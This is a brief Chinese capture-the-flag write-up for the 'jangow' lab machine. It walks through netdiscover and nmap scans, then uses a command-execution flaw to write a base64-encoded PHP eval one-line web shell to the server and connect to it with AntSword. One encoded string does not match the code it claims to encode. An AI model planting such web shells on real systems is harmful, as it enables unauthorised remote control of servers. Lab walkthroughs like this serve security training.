jangow靶机渗透

今天给大家带来一个简单难度的靶机
首先主机扫描
netdiscover -i eth0 192.168.1.1/24
扫出靶机地址为
192.168.1.13
nmap 扫描
nmap -sV -p 0-6550 192.168.1.13

Starting Nmap 7.80 ( https://nmap.org ) at 2022-01-23 14:13 CST
Nmap scan report for 192.168.1.13
Host is up (0.00071s latency).
Not shown: 6549 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
80/tcp open http Apache httpd 2.4.18
MAC Address: 00:0C:29:59:F7:8E (VMware)
Service Info: Host: 127.0.0.1; OS: Unix

直接访问80端口，发现busque页面存在rce

直接通过echo命令base64编码下写入一句话
将这段代码进行base64编码

<?php @eval($_POST['cmd']); ?>

PD9AZXZhbCgkX1BPU1RbJ21vb24nXSk7Pz4g
通过echo 命令写入
echo “PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Cj8+”|base64 -d >shell9.php

蚁剑连接,获取flag